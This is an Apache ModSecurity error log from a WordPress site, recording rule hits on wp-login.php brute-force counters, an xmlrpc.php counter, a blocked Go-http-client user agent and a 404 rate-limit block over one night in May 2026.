[Mon May 25 20:50:17.852557 2026] [:error] [pid 53791:tid 53799] [client 65.108.2.171:31130] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "ahRFiSCRhhNTD40Nf1UdSAAAAYY"]
[Mon May 25 20:58:41.068283 2026] [:error] [pid 62426:tid 62453] [client 45.131.195.3:44661] [client 45.131.195.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "ahRHgUj3D3Mo8ANpTRAD2gAAABc"]
[Mon May 25 21:26:32.788838 2026] [:error] [pid 62515:tid 62527] [client 91.210.171.209:44420] [client 91.210.171.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.210.171.209, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahROCBig0_XsOwmnrv9KAgAAAMo"]
[Mon May 25 21:26:35.630482 2026] [:error] [pid 62515:tid 62529] [client 91.210.171.209:44420] [client 91.210.171.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.210.171.209, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahROCxig0_XsOwmnrv9KCQAAAMw"], referer: https://vetstars.com.au/wp-login.php
[Mon May 25 22:12:11.876212 2026] [:error] [pid 62426:tid 62452] [client 216.73.217.6:47391] [client 216.73.217.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 216.73.217.6, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahRYu0j3D3Mo8ANpTRAZUQAAABY"]
[Mon May 25 22:37:39.993519 2026] [:error] [pid 62428:tid 62489] [client 193.42.61.12:41958] [client 193.42.61.12] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.42.61.12, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahRes5NosGBa7mui3VR1KwAAAIU"]
[Mon May 25 22:37:41.560186 2026] [:error] [pid 62428:tid 62484] [client 193.42.61.12:41958] [client 193.42.61.12] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.42.61.12, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahRetZNosGBa7mui3VR1LwAAAIA"], referer: https://vetstars.com.au/wp-login.php
[Mon May 25 23:14:44.639645 2026] [:error] [pid 62428:tid 62495] [client 216.185.214.209:50636] [client 216.185.214.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.185.214.209, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahRnZJNosGBa7mui3VR8HAAAAIs"]
[Mon May 25 23:14:46.081751 2026] [:error] [pid 62428:tid 62503] [client 216.185.214.209:50636] [client 216.185.214.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.185.214.209, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahRnZpNosGBa7mui3VR8HgAAAJM"], referer: https://vetstars.com.au/wp-login.php
[Mon May 25 23:14:57.661878 2026] [:error] [pid 62515:tid 62517] [client 173.249.21.166:46444] [client 173.249.21.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.249.21.166, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahRncRig0_XsOwmnrv9qFAAAAMA"]
[Mon May 25 23:14:58.761386 2026] [:error] [pid 62515:tid 62540] [client 173.249.21.166:46444] [client 173.249.21.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.249.21.166, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahRnchig0_XsOwmnrv9qHAAAANc"], referer: https://vetstars.com.au/wp-login.php
[Mon May 25 23:21:37.190204 2026] [:error] [pid 62426:tid 62446] [client 192.190.85.180:47930] [client 192.190.85.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.190.85.180, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahRpAUj3D3Mo8ANpTRA4DQAAABA"]
[Mon May 25 23:21:38.552365 2026] [:error] [pid 62426:tid 62454] [client 192.190.85.180:47930] [client 192.190.85.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.190.85.180, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahRpAkj3D3Mo8ANpTRA4EwAAABg"], referer: https://vetstars.com.au/wp-login.php
[Mon May 25 23:21:42.436310 2026] [:error] [pid 62427:tid 62466] [client 95.211.96.182:34404] [client 95.211.96.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.211.96.182, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahRpBvMUa83fc4GDyByRRQAAAUk"]
[Mon May 25 23:21:43.702678 2026] [:error] [pid 62427:tid 62468] [client 95.211.96.182:34404] [client 95.211.96.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.211.96.182, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahRpB_MUa83fc4GDyByRRgAAAUs"], referer: https://vetstars.com.au/wp-login.php
[Mon May 25 23:24:37.066916 2026] [:error] [pid 62515:tid 62529] [client 69.49.112.67:27864] [client 69.49.112.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.49.112.67, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahRptRig0_XsOwmnrv9tfQAAAMw"]
[Mon May 25 23:24:38.785407 2026] [:error] [pid 62515:tid 62533] [client 69.49.112.67:27864] [client 69.49.112.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.49.112.67, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahRpthig0_XsOwmnrv9tigAAANA"], referer: https://vetstars.com.au/wp-login.php
[Mon May 25 23:35:08.848929 2026] [:error] [pid 62426:tid 62453] [client 157.230.148.169:57088] [client 157.230.148.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.230.148.169, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahRsLEj3D3Mo8ANpTRA-3QAAABc"]
[Mon May 25 23:35:10.601668 2026] [:error] [pid 62426:tid 62449] [client 157.230.148.169:57088] [client 157.230.148.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.230.148.169, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahRsLkj3D3Mo8ANpTRA-4QAAABM"], referer: https://vetstars.com.au/wp-login.php
[Mon May 25 23:43:39.125907 2026] [:error] [pid 62428:tid 62505] [client 84.247.181.196:35272] [client 84.247.181.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.247.181.196, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahRuK5NosGBa7mui3VSDSwAAAJU"]
[Mon May 25 23:43:40.500456 2026] [:error] [pid 62428:tid 62498] [client 84.247.181.196:35272] [client 84.247.181.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.247.181.196, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahRuLJNosGBa7mui3VSDTAAAAI4"], referer: https://vetstars.com.au/wp-login.php
[Mon May 25 23:44:17.230023 2026] [:error] [pid 62426:tid 62442] [client 69.49.112.63:32828] [client 69.49.112.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.49.112.63, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahRuUUj3D3Mo8ANpTRBBigAAAAw"]
[Mon May 25 23:44:18.345794 2026] [:error] [pid 62426:tid 62444] [client 69.49.112.63:32828] [client 69.49.112.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.49.112.63, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahRuUkj3D3Mo8ANpTRBBjQAAAA4"], referer: https://vetstars.com.au/wp-login.php
[Mon May 25 23:47:56.038763 2026] [:error] [pid 62426:tid 62448] [client 168.119.95.46:48670] [client 168.119.95.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 168.119.95.46, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahRvLEj3D3Mo8ANpTRBCeQAAABI"]
[Mon May 25 23:47:57.398831 2026] [:error] [pid 62426:tid 62433] [client 168.119.95.46:48670] [client 168.119.95.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 168.119.95.46, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahRvLUj3D3Mo8ANpTRBCewAAAAM"], referer: https://vetstars.com.au/wp-login.php
[Mon May 25 23:54:25.196533 2026] [:error] [pid 3698:tid 3707] [client 46.101.54.125:52834] [client 46.101.54.125] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.101.54.125, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahRwsQtZBEwA4fyFLKMQ7wAAAQc"]
[Mon May 25 23:54:26.548684 2026] [:error] [pid 3698:tid 3708] [client 46.101.54.125:52834] [client 46.101.54.125] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.101.54.125, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahRwsgtZBEwA4fyFLKMQ9QAAAQg"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 00:03:36.755647 2026] [:error] [pid 62515:tid 62532] [client 65.109.154.153:55096] [client 65.109.154.153] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.109.154.153, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahRy2Big0_XsOwmnrv95NwAAAM8"]
[Tue May 26 00:03:37.979932 2026] [:error] [pid 62515:tid 62537] [client 65.109.154.153:55096] [client 65.109.154.153] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.109.154.153, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahRy2Rig0_XsOwmnrv95OAAAANQ"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 00:09:14.701953 2026] [:error] [pid 62428:tid 62506] [client 185.75.143.243:51547] [client 185.75.143.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.75.143.243, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahR0KpNosGBa7mui3VSJVQAAAJY"]
[Tue May 26 00:09:16.045298 2026] [:error] [pid 62428:tid 62487] [client 185.75.143.243:51547] [client 185.75.143.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.75.143.243, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahR0LJNosGBa7mui3VSJWAAAAIM"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 00:10:06.979865 2026] [:error] [pid 53791:tid 53801] [client 154.127.86.97:34596] [client 154.127.86.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 154.127.86.97, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahR0XiCRhhNTD40Nf1VEWQAAAYg"]
[Tue May 26 00:10:08.491820 2026] [:error] [pid 53791:tid 53799] [client 154.127.86.97:34596] [client 154.127.86.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 154.127.86.97, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahR0YCCRhhNTD40Nf1VEWgAAAYY"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 00:20:03.508583 2026] [:error] [pid 62427:tid 62469] [client 3.20.226.232:34770] [client 3.20.226.232] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.20.226.232, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahR2s_MUa83fc4GDyByYdwAAAUw"]
[Tue May 26 00:20:04.951559 2026] [:error] [pid 62427:tid 62468] [client 3.20.226.232:34770] [client 3.20.226.232] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.20.226.232, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahR2tPMUa83fc4GDyByYeQAAAUs"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 00:21:00.045052 2026] [:error] [pid 62426:tid 62451] [client 78.46.157.197:44944] [client 78.46.157.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 78.46.157.197, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahR27Ej3D3Mo8ANpTRBPSAAAABU"]
[Tue May 26 00:21:01.537944 2026] [:error] [pid 62426:tid 62445] [client 78.46.157.197:44944] [client 78.46.157.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 78.46.157.197, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahR27Uj3D3Mo8ANpTRBPSgAAAA8"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 00:21:54.953325 2026] [:error] [pid 62722:tid 62745] [client 201.170.230.165:45250] [client 201.170.230.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 201.170.230.165, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahR3IqM6ssnLWYf6CVBpRAAAAFU"]
[Tue May 26 00:21:56.321276 2026] [:error] [pid 62722:tid 62733] [client 201.170.230.165:45250] [client 201.170.230.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 201.170.230.165, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahR3JKM6ssnLWYf6CVBpRgAAAEk"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 00:26:25.404210 2026] [:error] [pid 62515:tid 62531] [client 162.246.59.227:47356] [client 162.246.59.227] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.246.59.227, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahR4MRig0_XsOwmnrv-AagAAAM4"]
[Tue May 26 00:26:26.991738 2026] [:error] [pid 62515:tid 62539] [client 162.246.59.227:47356] [client 162.246.59.227] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.246.59.227, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahR4Mhig0_XsOwmnrv-AawAAANY"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 00:29:14.165615 2026] [:error] [pid 62426:tid 62451] [client 161.97.109.81:40912] [client 161.97.109.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.97.109.81, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahR42kj3D3Mo8ANpTRBSFgAAABU"]
[Tue May 26 00:29:17.122640 2026] [:error] [pid 62426:tid 62441] [client 161.97.109.81:40912] [client 161.97.109.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.97.109.81, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahR43Uj3D3Mo8ANpTRBSHgAAAAs"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 00:29:38.513431 2026] [:error] [pid 62426:tid 62442] [client 46.62.185.67:47590] [client 46.62.185.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.62.185.67, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahR48kj3D3Mo8ANpTRBSRQAAAAw"]
[Tue May 26 00:29:39.735089 2026] [:error] [pid 62426:tid 62446] [client 46.62.185.67:47590] [client 46.62.185.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.62.185.67, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahR480j3D3Mo8ANpTRBSRwAAABA"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 00:37:18.847036 2026] [:error] [pid 62515:tid 62531] [client 201.170.230.165:58622] [client 201.170.230.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 201.170.230.165, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahR6vhig0_XsOwmnrv-DaAAAAM4"]
[Tue May 26 00:37:20.276860 2026] [:error] [pid 62515:tid 62535] [client 201.170.230.165:58622] [client 201.170.230.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 201.170.230.165, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahR6wBig0_XsOwmnrv-DbAAAANI"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 00:39:24.940442 2026] [:error] [pid 3698:tid 3720] [client 116.202.226.180:48500] [client 116.202.226.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 116.202.226.180, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahR7PAtZBEwA4fyFLKMXnQAAARQ"]
[Tue May 26 00:39:26.102213 2026] [:error] [pid 3698:tid 3709] [client 116.202.226.180:48500] [client 116.202.226.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 116.202.226.180, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahR7PgtZBEwA4fyFLKMXngAAAQk"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 00:43:10.747594 2026] [:error] [pid 62722:tid 62731] [client 45.13.190.75:43936] [client 45.13.190.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.13.190.75, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahR8HqM6ssnLWYf6CVBrrAAAAEc"]
[Tue May 26 00:43:13.384100 2026] [:error] [pid 62722:tid 62739] [client 45.13.190.75:43936] [client 45.13.190.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.13.190.75, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahR8IaM6ssnLWYf6CVBrrwAAAE8"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 00:48:34.074705 2026] [:error] [pid 3698:tid 3718] [client 216.185.214.209:48862] [client 216.185.214.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.185.214.209, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahR9YgtZBEwA4fyFLKMYxwAAARI"]
[Tue May 26 00:48:35.490033 2026] [:error] [pid 3698:tid 3703] [client 216.185.214.209:48862] [client 216.185.214.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.185.214.209, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahR9YwtZBEwA4fyFLKMYyQAAAQM"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 00:52:56.234176 2026] [:error] [pid 62427:tid 62462] [client 167.71.130.119:35692] [client 167.71.130.119] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.71.130.119, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahR-aPMUa83fc4GDyBybNgAAAUU"]
[Tue May 26 00:52:57.728917 2026] [:error] [pid 62427:tid 62477] [client 167.71.130.119:35692] [client 167.71.130.119] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.71.130.119, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahR-afMUa83fc4GDyBybOAAAAVQ"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 01:01:11.745350 2026] [:error] [pid 3698:tid 3705] [client 37.60.246.58:51202] [client 37.60.246.58] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.60.246.58, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSAVwtZBEwA4fyFLKMaxgAAAQU"]
[Tue May 26 01:01:13.580294 2026] [:error] [pid 3698:tid 3719] [client 37.60.246.58:51202] [client 37.60.246.58] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.60.246.58, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahSAWQtZBEwA4fyFLKMayQAAARM"], referer: https://vetstars.com.au/wp-login.php
